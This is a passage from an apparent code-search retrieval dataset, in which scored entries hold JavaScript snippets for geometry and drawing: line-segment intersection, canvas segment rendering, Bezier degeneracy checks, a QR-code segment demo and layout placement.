horizontalSegment.coord2.x)\n if (verticalSegment.coord1.x >= minHorizontalX && verticalSegment.coord1.x <= maxHorizontalX) {\n // Horizontal segment falls between two y's of vertical segment...\n const minVerticalY = Math.min(verticalSegment.coord1.y, verticalSegment.coord2.y)\n const maxVerticalY = Math.max(verticalSegment.coord1.y, verticalSegment.coord2.y)\n if (horizontalSegment.coord1.y >= minVerticalY && horizontalSegment.coord1.y <= maxVerticalY) {\n // We have an intersection, so get the coordinate\n const intersectionX = verticalSegment.coord1.x\n const intersectionY = horizontalSegment.coord1.y\n return [new Coordinate(intersectionX, intersectionY)]\n }\n }\n\n return []\n }", "title": "" }, { "docid": "227e9102c953dd6901d2d1bea3ac3b98", "score": "0.55969733", "text": "getSegments (item) {\n const segments = []\n for (let i = 0, len = item.segments.length; i < len; i++) {\n const segment = item.segments[i]\n if (segment.hasHandles()) {\n segments.push([\n [segment.point.x, segment.point.y],\n [segment.handleIn.x, segment.handleIn.y],\n [segment.handleOut.x, segment.handleOut.y]\n ])\n } else {\n segments.push([segment.point.x, segment.point.y])\n }\n }\n return segments\n }", "title": "" }, { "docid": "8f812d765708095dc4f9a7c930fe968d", "score": "0.5573315", "text": "addLinesNextToSegment(point1, point2, lettersArray, location, extraDisplacement, relativeFontSize, spacing) {\n if (location === undefined) {\n location = 'clockwise';\n }\n if (location === 'clockwise') {\n location = getOptimalLocationOfText(point1, point2, 'clockwise');\n } else if (location === 'counterclockwise') {\n location = getOptimalLocationOfText(point1, point2, 'counterclockwise');\n }\n\n // left is a pretty bad idea, but right, above, below should all work\n if (extraDisplacement === undefined) {\n extraDisplacement = 0;\n }\n if (spacing === undefined) {\n spacing = 1.4;\n }\n if (relativeFontSize === undefined) {\n relativeFontSize = point1.getDistanceToAnotherPoint(point2) / 3 / lettersArray.length;\n }\n let boxHeight = relativeFontSize * lettersArray.length + (spacing - 1) * relativeFontSize * (lettersArray.length - 1);\n let theta = point1.getAngleToAnotherPoint(point2);\n let quad = point1.getQuadrantOfAnotherPoint(point2);\n //let horizontalDisplacement_1 = (boxHeight / 2) / (Math.atan(theta));\n\n let maxLettersLength = 0;\n lettersArray.forEach((text) => {\n let testLength = getLengthOfLetters(text, relativeFontSize);\n if (testLength > maxLettersLength) {\n maxLettersLength = testLength;\n }\n });\n\n let boxWidth = maxLettersLength;\n let horizontalDisplacement = 0;\n let verticalDisplacement = 0;\n let textAlign;\n\n ///// THIS PART ISN'T DONE!!!!\n /// In fact, it's a total wreck, but i need to fix some other thigns before i can properly test it\n if (location === 'right') {\n textAlign = 'left';\n if (quad === '1' || quad === '3') {\n horizontalDisplacement += (boxHeight / 2) / Math.tan(theta) + extraDisplacement;\n } else if (quad === '2' || quad === '4') {\n horizontalDisplacement += -1 * (boxHeight / 2) / Math.tan(theta) + extraDisplacement;\n } else if (quad === '+Y' || quad === '-Y') {\n horizontalDisplacement += extraDisplacement;\n } else if (quad === '+X' || quad === '-X') {\n console.log('ERROR: Cannot place text to the right of horizontal line');\n } else {\n console.log('unable to add text lines');\n }\n } else if (location === 'left') {\n textAlign = 'right';\n if (quad === '1' || quad === '3') {\n horizontalDisplacement -= (boxHeight / 2) / Math.tan(theta) + extraDisplacement;\n } else if (quad === '2' || quad === '4') {\n horizontalDisplacement -= -1 * (boxHeight / 2) / Math.tan(theta) + extraDisplacement;\n } else if (quad === '+Y' || quad === '-Y') {\n horizontalDisplacement -= extraDisplacement;\n } else if (quad === '+X' || quad === '-X') {\n console.log('ERROR: Cannot place text to the right of horizontal line');\n } else {\n console.log('unable to add text lines');\n }\n } else if (location === 'below') { // these vertical positions are screwing with me\n textAlign = 'center';\n if (quad === '1') {\n verticalDisplacement -= boxHeight / 2 + extraDisplacement;\n } else if (quad === '2') {\n // horizontalDisplacement -= boxWidth;\n verticalDisplacement -= boxHeight / 2 + extraDisplacement;\n } else if (quad === '+X' || quad === '-X') {\n // verticalDisplacement -= boxHeight / 2;\n verticalDisplacement -= boxHeight / 2 + extraDisplacement;\n } else if (quad === '+Y' || quad === '-Y') {\n console.log('ERROR: Cannot place text above a vertical line');\n } else {\n console.log('unable to add text lines');\n }\n } else if (location === 'above') {\n textAlign = 'center';\n if (quad === '1') {\n verticalDisplacement += boxHeight / 2 + extraDisplacement; // definitely need more here\n } else if (quad === '2') {\n verticalDisplacement += boxHeight / 2 + extraDisplacement; // definitely need more here\n } else if (quad === '+X' || quad === '-X') {\n verticalDisplacement += boxHeight / 2 + extraDisplacement;\n } else if (quad === '+Y' || quad === '-Y') {\n console.log('ERROR: Cannot place text above a vertical line');\n } else {\n console.log('unable to add text lines');\n }\n } else {\n console.log('unable to add text lines');\n }\n\n let textReferencePoint = point1.interpolate(point2, 0.5);\n textReferencePoint.translate(horizontalDisplacement,verticalDisplacement);\n\n this.addLinesOfText(lettersArray, textReferencePoint, relativeFontSize, spacing, textAlign);\n }", "title": "" }, { "docid": "3be52ad0c0d1147a3d3cb71fdc435db5", "score": "0.5559718", "text": "function drawSegment(segment){\n context.strokeStyle = 'rgba(60,30,0,.3)';\n context.lineWidth = segment.linewidth;\n context.beginPath();\n context.moveTo( segment.x1, segment.y1 );\n context.lineTo( segment.x2, segment.y2 );\n context.stroke();\n //\n //if(segment.linewidth==0){\n //if(leavesNbr < leavesMax){\n var dx=segment.x2-segment.x1;\n var dy=segment.y2-segment.y1;\n var angle=Math.atan2(dy,dx)+Math.PI/2;\n var i=parseInt(Math.random()*2.98);\n var j=parseInt(Math.random()*1.98);\n context.save();\n context.translate(segment.x2,segment.y2);\n context.rotate(angle);\n context.scale((.2 * (Math.random()+0.5) * (1+(segment.linewidth / 2))),(.2 * (Math.random()+0.5) * (1+(segment.linewidth / 2))));\n context.drawImage(leaves,127*i,142*j,127,142,-127/2,-142/2,127,142);\n context.restore();\n leavesNbr++;\n //}\n //if(leavesNbr < leavesMax){\n var dx=segment.x2-segment.x1;\n var dy=segment.y2-segment.y1;\n var angle=Math.atan2(dy,dx)+Math.PI/2;\n var i=parseInt(Math.random()*2.98);\n var j=parseInt(Math.random()*1.89);\n context.save();\n context.translate((segment.x2+segment.x1)/2,(segment.y2+segment.y1)/2);\n context.rotate(angle);\n context.scale((.25 * (Math.random()+0.5) * (1+(segment.linewidth / 2))),(.25 * (Math.random()+0.5) * (1+(segment.linewidth / 2))));\n context.drawImage(leaves,127*i,142*j,127,142,-127/2,-142/2,127,142);\n context.restore();\n leavesNbr++;\n //}\n\n //}\n }", "title": "" }, { "docid": "7a0fdd4db02439f968c2d3a5ec5b0bd8", "score": "0.5552077", "text": "addZigZag(endPoint1, endPoint2, width) {\n let theta = endPoint1.getAngleToAnotherPoint(endPoint2);\n let L = endPoint1.getDistanceToAnotherPoint(endPoint2);\n let intermediatePoint1 = endPoint1.interpolate(endPoint2, 0.333333);\n intermediatePoint1.translate(width * Math.cos(theta + Math.PI / 2), width * Math.sin(theta + Math.PI / 2));\n let intermediatePoint2 = endPoint1.interpolate(endPoint2, 0.666667);\n intermediatePoint2.translate(width * Math.cos(theta - Math.PI / 2), width * Math.sin(theta - Math.PI / 2));\n super.addSegment(endPoint1, intermediatePoint1);\n super.addSegment(intermediatePoint1, intermediatePoint2);\n super.addSegment(intermediatePoint2, endPoint2);\n }", "title": "" }, { "docid": "64fa4db990afcc72fa4a40dc501ec405", "score": "0.55371726", "text": "edges() {\r\n if (this.position.x < 0) this.position.x = width;\r\n if (this.position.x > width) this.position.x = 0;\r\n\r\n if (this.position.y < 0) this.position.y = height;\r\n if (this.position.y > height) this.position.y = 0;\r\n }", "title": "" }, { "docid": "402f951fb494690bcaf47e7f585839a9", "score": "0.55321395", "text": "function quasiUnitTests() {\n let segment1, segment2, collides;\n // TODO. now Null always, need to handle colinear\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(0, 0), new Point(1, 1));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n\n// Null\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(0.00001, 0.0), new Point(5, 0));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n// Null\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(1, 0.0), new Point(5, 0));\n collides = segment1.collisionWith(segment2);\n console.log(\"collides?\", collides);\n\n\n// (1, 1)\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(1, 0), new Point(1, 1));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n// Null\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(5, 0), new Point(5, 1));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n// (0, 0)\n segment1 = new LineSegment(new Point(0, 0), new Point(1, 1));\n segment2 = new LineSegment(new Point(0.0, 0.0), new Point(5, 1));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n\n// (0, 0)\n segment1 = new LineSegment(new Point(0, 0), new Point(0, 2));\n segment2 = new LineSegment(new Point(-1, 0), new Point(1, 1));\n collides = segment1.collisionWith(segment2);\n console.log(\"collision:\", collides);\n\n}", "title": "" }, { "docid": "7162b01d84a13a7b4f347f493c304c79", "score": "0.55092484", "text": "redrawAllSegments() {\n for (let n = 0; n < this.segments_.length; n++) {\n const segment = this.segments_[n];\n for (let s = 0; s < segment.srcSents.length; s++) {\n this.redrawSentence(n, 0, s);\n }\n for (let t = 0; t < segment.tgtSents.length; t++) {\n this.redrawSentence(n, 1, t);\n }\n }\n this.setEvalButtonsAvailability();\n this.lastTimestampMS_ = Date.now();\n }", "title": "" }, { "docid": "2ed55b3b5ae40c1d119b43caa55d05be", "score": "0.5497076", "text": "function V(){var t=s.getBoundingClientRect(),n=\"offset\"+[\"Width\",\"Height\"][e.ort];return 0===e.ort?t.width||s[n]:t.height||s[n]}", "title": "" }, { "docid": "f20e5cbb45da995d0332aeef2bb4a2be", "score": "0.54968786", "text": "getNondegenerateSegments() {\n const start = this._start;\n const control = this._control;\n const end = this._end;\n const startIsEnd = start.equals(end);\n const startIsControl = start.equals(control);\n const endIsControl = start.equals(control);\n if (startIsEnd && startIsControl) {\n // all same points\n return [];\n } else if (startIsEnd) {\n // this is a special collinear case, we basically line out to the farthest point and back\n const halfPoint = this.positionAt(0.5);\n return [new Line(start, halfPoint), new Line(halfPoint, end)];\n } else if (arePointsCollinear(start, control, end)) {\n // if they are collinear, we can reduce to start->control and control->end, or if control is between, just one line segment\n // also, start !== end (handled earlier)\n if (startIsControl || endIsControl) {\n // just a line segment!\n return [new Line(start, end)]; // no extra nondegenerate check since start !== end\n }\n // now control point must be unique. we check to see if our rendered path will be outside of the start->end line segment\n const delta = end.minus(start);\n const p1d = control.minus(start).dot(delta.normalized()) / delta.magnitude;\n const t = Quadratic.extremaT(0, p1d, 1);\n if (!isNaN(t) && t > 0 && t < 1) {\n // we have a local max inside the range, indicating that our extrema point is outside of start->end\n // we'll line to and from it\n const pt = this.positionAt(t);\n return _.flatten([new Line(start, pt).getNondegenerateSegments(), new Line(pt, end).getNondegenerateSegments()]);\n } else {\n // just provide a line segment, our rendered path doesn't go outside of this\n return [new Line(start, end)]; // no extra nondegenerate check since start !== end\n }\n } else {\n return [this];\n }\n }", "title": "" }, { "docid": "e3aa4fb3ae449ae4b2455f7c4b2e2358", "score": "0.5483834", "text": "function segment_length(a,b) {\n\tvar p = a[\"vertex\"];\n\tvar q = b[\"vertex\"];\n\treturn Math.sqrt(Math.pow(p[0]-q[0],2) + Math.pow(2*(p[1]-q[1]),2));\n}", "title": "" }, { "docid": "a28ac0b78c342d49b9006e8aded6aec8", "score": "0.5483263", "text": "getNondegenerateSegments() {\n // if it is degenerate (0-length), just ignore it\n if (this._start.equals(this._end)) {\n return [];\n } else {\n return [this];\n }\n }", "title": "" }, { "docid": "9b39ad0ec02731adbc6764a9a2a67304", "score": "0.547603", "text": "function doSegmentDemo() {\n appendHeading(\"Segment\");\n let qr;\n let segs;\n const QrCode = qrcodegen.QrCode; // Abbreviation\n const QrSegment = qrcodegen.QrSegment; // Abbreviation\n // Illustration \"silver\"\n const silver0 = \"THE SQUARE ROOT OF 2 IS 1.\";\n const silver1 = \"41421356237309504880168872420969807856967187537694807317667973799\";\n qr = QrCode.encodeText(silver0 + silver1, QrCode.Ecc.LOW);\n qr.drawCanvas(10, 3, appendCanvas(\"sqrt2-monolithic-QR\"));\n segs = [\n QrSegment.makeAlphanumeric(silver0),\n QrSegment.makeNumeric(silver1)\n ];\n qr = QrCode.encodeSegments(segs, QrCode.Ecc.LOW);\n qr.drawCanvas(10, 3, appendCanvas(\"sqrt2-segmented-QR\"));\n // Illustration \"golden\"\n const golden0 = \"Golden ratio \\u03C6 = 1.\";\n const golden1 = \"6180339887498948482045868343656381177203091798057628621354486227052604628189024497072072041893911374\";\n const golden2 = \"......\";\n qr = QrCode.encodeText(golden0 + golden1 + golden2, QrCode.Ecc.LOW);\n qr.drawCanvas(8, 5, appendCanvas(\"phi-monolithic-QR\"));\n segs = [\n QrSegment.makeBytes(toUtf8ByteArray(golden0)),\n QrSegment.makeNumeric(golden1),\n QrSegment.makeAlphanumeric(golden2)\n ];\n qr = QrCode.encodeSegments(segs, QrCode.Ecc.LOW);\n qr.drawCanvas(8, 5, appendCanvas(\"phi-segmented-QR\"));\n // Illustration \"Madoka\": kanji, kana, Cyrillic, full-width Latin, Greek characters\n const madoka = \"\\u300C\\u9B54\\u6CD5\\u5C11\\u5973\\u307E\\u3069\\u304B\\u2606\\u30DE\\u30AE\\u30AB\\u300D\\u3063\\u3066\\u3001\\u3000\\u0418\\u0410\\u0418\\u3000\\uFF44\\uFF45\\uFF53\\uFF55\\u3000\\u03BA\\u03B1\\uFF1F\";\n qr = QrCode.encodeText(madoka, QrCode.Ecc.LOW);\n qr.drawCanvas(9, 4, appendCanvas(\"madoka-utf8-QR\"));\n const kanjiCharBits = [\n 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1,\n 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0,\n 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0,\n 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1,\n 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0,\n 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1,\n 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1,\n 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1,\n 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1,\n 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1,\n 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0,\n 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0,\n 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1,\n 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1,\n 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0,\n 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1,\n 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1,\n 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0,\n 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,\n ];\n segs = [new QrSegment(QrSegment.Mode.KANJI, kanjiCharBits.length / 13, kanjiCharBits)];\n qr = QrCode.encodeSegments(segs, QrCode.Ecc.LOW);\n qr.drawCanvas(9, 4, appendCanvas(\"madoka-kanji-QR\"));\n }", "title": "" }, { "docid": "e8881748cb43dc2b8798c8593d375f78", "score": "0.5445714", "text": "function calcLen(pts) {\n const segments = []\n const offsets = []\n let total = 0\n for (let i = 0; i < pts.length; i++) {\n const a = pts[i]\n const b = pts[(i + 1) % pts.length]\n const l = Math.sqrt(Math.pow(b.x - a.x, 2) + Math.pow(b.y - a.y, 2))\n segments.push(l)\n offsets.push(total)\n total += l\n }\n return {\n segments, // lunghezza di ogni segmento\n offsets, // lunghezza fino a quel punto\n total, // lunghezza totale\n num: pts.length // numero di segmenti\n }\n}", "title": "" }, { "docid": "1cec0898d40574ea3ef60ef0410728de", "score": "0.54442734", "text": "getNondegenerateSegments() {\n const start = this._start;\n const control1 = this._control1;\n const control2 = this._control2;\n const end = this._end;\n const reduced = this.degreeReduced(1e-9);\n if (start.equals(end) && start.equals(control1) && start.equals(control2)) {\n // degenerate point\n return [];\n } else if (this.hasCusp()) {\n return _.flatten(this.getQuadratics().map(quadratic => quadratic.getNondegenerateSegments()));\n } else if (reduced) {\n // if we can reduce to a quadratic Bezier, always do this (and make sure it is non-degenerate)\n return reduced.getNondegenerateSegments();\n } else if (Cubic_arePointsCollinear(start, control1, end) && Cubic_arePointsCollinear(start, control2, end) && !start.equalsEpsilon(end, 1e-7)) {\n const extremaPoints = this.getXExtremaT().concat(this.getYExtremaT()).sort().map(t => this.positionAt(t));\n const segments = [];\n let lastPoint = start;\n if (extremaPoints.length) {\n segments.push(new Line(start, extremaPoints[0]));\n lastPoint = extremaPoints[0];\n }\n for (let i = 1; i < extremaPoints.length; i++) {\n segments.push(new Line(extremaPoints[i - 1], extremaPoints[i]));\n lastPoint = extremaPoints[i];\n }\n segments.push(new Line(lastPoint, end));\n return _.flatten(segments.map(segment => segment.getNondegenerateSegments()));\n } else {\n return [this];\n }\n }", "title": "" }, { "docid": "4c8be2970ff592823ef0cde489e8eac1", "score": "0.54237676", "text": "function generateSegmentSet(startX, startY, endX, endY, wstate) {\n pwSegments = [];\n let togo = 0;\n if (startDirection === 0) {\n // Horizontal first\n togo = Math.abs(endX - startX);\n if (startX < endX) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(0, endX - togo, startY, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n } else if (startX > endX) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(0, startX - togo, startY, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n }\n togo = Math.abs(endY - startY);\n if (startY < endY) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(1, endX, endY - togo, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n } else if (startY > endY) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(1, endX, startY - togo, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n }\n } else {\n // Vertical first\n togo = Math.abs(endY - startY);\n if (startY < endY) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(1, startX, endY - togo, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n } else if (startY > endY) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(1, startX, startY - togo, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n }\n togo = Math.abs(endX - startX);\n if (startX < endX) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(0, endX - togo, endY, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n } else if (startX > endX) {\n while (togo >= GRIDSIZE) {\n let seg = new WSeg(0, startX - togo, endY, wstate, transform);\n pwSegments.push(seg);\n togo -= GRIDSIZE;\n }\n }\n }\n // Set the mode according to the first segment from the preview\n if (pwSegments[0] != null && !lockElements) { // jshint ignore:line\n lockElements = true;\n startDirection = pwSegments[0].direction;\n }\n}", "title": "" }, { "docid": "e9f68f47843dda78505c63f7bcfe1b69", "score": "0.5387323", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n }", "title": "" }, { "docid": "d3560f8118a9f01d92c27f17f90e601c", "score": "0.5383304", "text": "function drawSegment([ay, ax], [by, bx], color, scale, ctx) {\n ctx.beginPath();\n ctx.moveTo(ax * scale, ay * scale);\n ctx.lineTo(bx * scale, by * scale);\n ctx.lineWidth = lineWidth;\n ctx.strokeStyle = color;\n ctx.stroke();\n}", "title": "" }, { "docid": "d3560f8118a9f01d92c27f17f90e601c", "score": "0.5383304", "text": "function drawSegment([ay, ax], [by, bx], color, scale, ctx) {\n ctx.beginPath();\n ctx.moveTo(ax * scale, ay * scale);\n ctx.lineTo(bx * scale, by * scale);\n ctx.lineWidth = lineWidth;\n ctx.strokeStyle = color;\n ctx.stroke();\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.53719383", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "9d73b885c11f15c89542b84ef2d44f68", "score": "0.53719383", "text": "function onSegment(p, q, r) {\n return q.x <= Math.max(p.x, r.x) && q.x >= Math.min(p.x, r.x) && q.y <= Math.max(p.y, r.y) && q.y >= Math.min(p.y, r.y);\n}", "title": "" }, { "docid": "a6add39cc8e89eb09acfba9e4cdb022a", "score": "0.53448224", "text": "function placeRects(allRects, segs, cells) {\n var rectsByEachCol = groupRectsByEachCol(allRects, cells.length);\n var singleColPlacements = [];\n var multiColPlacements = [];\n var leftoverMargins = [];\n for (var col = 0; col < cells.length; col += 1) {\n var rects = rectsByEachCol[col];\n // compute all static segs in singlePlacements\n var singlePlacements = [];\n var currentHeight = 0;\n var currentMarginTop = 0;\n for (var _i = 0, rects_1 = rects; _i < rects_1.length; _i++) {\n var rect = rects_1[_i];\n var seg = segs[rect.index];\n singlePlacements.push({\n seg: resliceSeg(seg, col, col + 1, cells),\n isVisible: true,\n isAbsolute: false,\n absoluteTop: 0,\n marginTop: rect.levelCoord - currentHeight,\n });\n currentHeight = rect.levelCoord + rect.thickness;\n }\n // compute mixed static/absolute segs in multiPlacements\n var multiPlacements = [];\n currentHeight = 0;\n currentMarginTop = 0;\n for (var _a = 0, rects_2 = rects; _a < rects_2.length; _a++) {\n var rect = rects_2[_a];\n var seg = segs[rect.index];\n var isAbsolute = rect.span.end - rect.span.start > 1; // multi-column?\n var isFirstCol = rect.span.start === col;\n currentMarginTop += rect.levelCoord - currentHeight; // amount of space since bottom of previous seg\n currentHeight = rect.levelCoord + rect.thickness; // height will now be bottom of current seg\n if (isAbsolute) {\n currentMarginTop += rect.thickness;\n if (isFirstCol) {\n multiPlacements.push({\n seg: resliceSeg(seg, rect.span.start, rect.span.end, cells),\n isVisible: true,\n isAbsolute: true,\n absoluteTop: rect.levelCoord,\n marginTop: 0,\n });\n }\n }\n else if (isFirstCol) {\n multiPlacements.push({\n seg: resliceSeg(seg, rect.span.start, rect.span.end, cells),\n isVisible: true,\n isAbsolute: false,\n absoluteTop: 0,\n marginTop: currentMarginTop, // claim the margin\n });\n currentMarginTop = 0;\n }\n }\n singleColPlacements.push(singlePlacements);\n multiColPlacements.push(multiPlacements);\n leftoverMargins.push(currentMarginTop);\n }\n return { singleColPlacements: singleColPlacements, multiColPlacements: multiColPlacements, leftoverMargins: leftoverMargins };\n}", "title": "" }, { "docid": "ba02da1349bc380f9cb2e7821b401b5e", "score": "0.5341037", "text": "function onSegment( p, q, r ) {\n\n\treturn q.x <= Math.max( p.x, r.x ) && q.x >= Math.min( p.x, r.x ) && q.y <= Math.max( p.y, r.y ) && q.y >= Math.min( p.y, r.y );\n\n}", "title": "" }, { "docid": "ba02da1349bc380f9cb2e7821b401b5e", "score": "0.5341037", "text": "function onSegment( p, q, r ) {\n\n\treturn q.x <= Math.max( p.x, r.x ) && q.x >= Math.min( p.x, r.x ) && q.y <= Math.max( p.y, r.y ) && q.y >= Math.min( p.y, r.y );\n\n}", "title": "" }, { "docid": "843b3519bac3bf769fb0561de79e4f2c", "score": "0.5337328", "text": "function placeRects(allRects, segs, cells) {\n var rectsByEachCol = groupRectsByEachCol(allRects, cells.length);\n var singleColPlacements = [];\n var multiColPlacements = [];\n var leftoverMargins = [];\n for (var col = 0; col < cells.length; col += 1) {\n var rects = rectsByEachCol[col];\n // compute all static segs in singlePlacements\n var singlePlacements = [];\n var currentHeight = 0;\n var currentMarginTop = 0;\n for (var _i = 0, rects_1 = rects; _i < rects_1.length; _i++) {\n var rect = rects_1[_i];\n var seg = segs[rect.index];\n singlePlacements.push({\n seg: resliceSeg(seg, col, col + 1, cells),\n isVisible: true,\n isAbsolute: false,\n absoluteTop: rect.levelCoord,\n marginTop: rect.levelCoord - currentHeight,\n });\n currentHeight = rect.levelCoord + rect.thickness;\n }\n // compute mixed static/absolute segs in multiPlacements\n var multiPlacements = [];\n currentHeight = 0;\n currentMarginTop = 0;\n for (var _a = 0, rects_2 = rects; _a < rects_2.length; _a++) {\n var rect = rects_2[_a];\n var seg = segs[rect.index];\n var isAbsolute = rect.span.end - rect.span.start > 1; // multi-column?\n var isFirstCol = rect.span.start === col;\n currentMarginTop += rect.levelCoord - currentHeight; // amount of space since bottom of previous seg\n currentHeight = rect.levelCoord + rect.thickness; // height will now be bottom of current seg\n if (isAbsolute) {\n currentMarginTop += rect.thickness;\n if (isFirstCol) {\n multiPlacements.push({\n seg: resliceSeg(seg, rect.span.start, rect.span.end, cells),\n isVisible: true,\n isAbsolute: true,\n absoluteTop: rect.levelCoord,\n marginTop: 0,\n });\n }\n }\n else if (isFirstCol) {\n multiPlacements.push({\n seg: resliceSeg(seg, rect.span.start, rect.span.end, cells),\n isVisible: true,\n isAbsolute: false,\n absoluteTop: rect.levelCoord,\n marginTop: currentMarginTop, // claim the margin\n });\n currentMarginTop = 0;\n }\n }\n singleColPlacements.push(singlePlacements);\n multiColPlacements.push(multiPlacements);\n leftoverMargins.push(currentMarginTop);\n }\n return { singleColPlacements: singleColPlacements, multiColPlacements: multiColPlacements, leftoverMargins: leftoverMargins };\n}", "title": "" }, { "docid": "287b14c3141ce0a83da43520de4109ee", "score": "0.53225124", "text": "drawBoard() {\n let sides = [\"vertical\", \"horizontal\"];\n //draw inner rectangle\n let yMiddlePoint = this.paddingTop + this.height / 2;\n\n sides.forEach((element) => {\n let i = 0;\n let stepSize =\n element == \"vertical\" ? this.verticalStep : this.horizontalStep;\n let totalSize = element == \"vertical\" ? this.width : this.height;\n for (let length = 0; length <= totalSize; length += stepSize) {\n let x1 =\n element == \"vertical\" ? this.paddingLeft + length : this.paddingLeft;\n let y1 =\n element == \"vertical\" ? this.paddingTop : this.paddingTop + length;\n let x2 =\n element == \"vertical\"\n ? this.paddingLeft + length\n : this.paddingLeft + this.width;\n let y2 =\n element == \"vertical\"\n ? this.paddingTop + this.height\n : this.paddingTop + length;\n // this.drawText(\n // x1,\n // y1,\n // element,\n // element === \"vertical\"\n // ? this.horizontalIndicators[i]\n // : this.verticalIndicators[i]\n // );\n this.drawLine(x1, y1, x2, y2);\n i++;\n }\n\n //draw diagonal lines\n let dx1 =\n element == \"vertical\"\n ? this.paddingLeft\n : this.paddingLeft + this.width;\n let dy1 = this.paddingTop;\n\n let dx2 =\n element == \"vertical\"\n ? this.paddingLeft + this.width\n : this.paddingLeft;\n let dy2 = this.paddingTop + this.height;\n this.drawLine(dx1, dy1, dx2, dy2);\n\n let mPointx1 = this.paddingLeft + this.width / 2;\n let mPointy1 =\n element == \"vertical\" ? this.paddingTop : this.paddingTop + this.height;\n let mPointx2 =\n element == \"vertical\"\n ? this.paddingLeft\n : this.paddingLeft + this.width;\n let mPointy2 = this.paddingTop + this.height / 2;\n this.drawLine(mPointx1, mPointy1, mPointx2, mPointy2);\n this.drawLine(\n mPointx1,\n mPointy1,\n mPointx2 + (element == \"vertical\" ? this.width : -this.width),\n mPointy2\n );\n });\n\n // draw small circles near each point\n this.points.forEach((p, i) => {\n const factor = i % 2 === 0 ? 1 : 2;\n this.canvas.drawImage(\n this.diamondCircleImage,\n p.x - this.cirlceImageRad / (2 * factor),\n p.y - this.cirlceImageRad / (2 * factor),\n this.cirlceImageRad / factor,\n this.cirlceImageRad / factor\n );\n });\n\n // draw left right top down border images\n if (this.topBorderImage) {\n this.canvas.drawImage(\n this.topBorderImage,\n 0,\n 0,\n this.totalWidth,\n this.paddingTop\n );\n this.canvas.drawImage(\n this.borderBottomImage,\n 0,\n this.totalHeight - this.paddingBottom,\n this.totalWidth,\n this.paddingBottom\n );\n this.canvas.drawImage(\n this.leftRightBorderImage,\n 0,\n this.paddingTop,\n this.paddingLeft,\n this.height\n );\n this.canvas.drawImage(\n this.leftRightBorderImage,\n this.totalWidth - this.paddingRight,\n this.paddingTop,\n this.paddingRight,\n this.height\n );\n } else {\n this.topBorderImage = new Image();\n this.topBorderImage.onload = () => {\n this.canvas.drawImage(\n 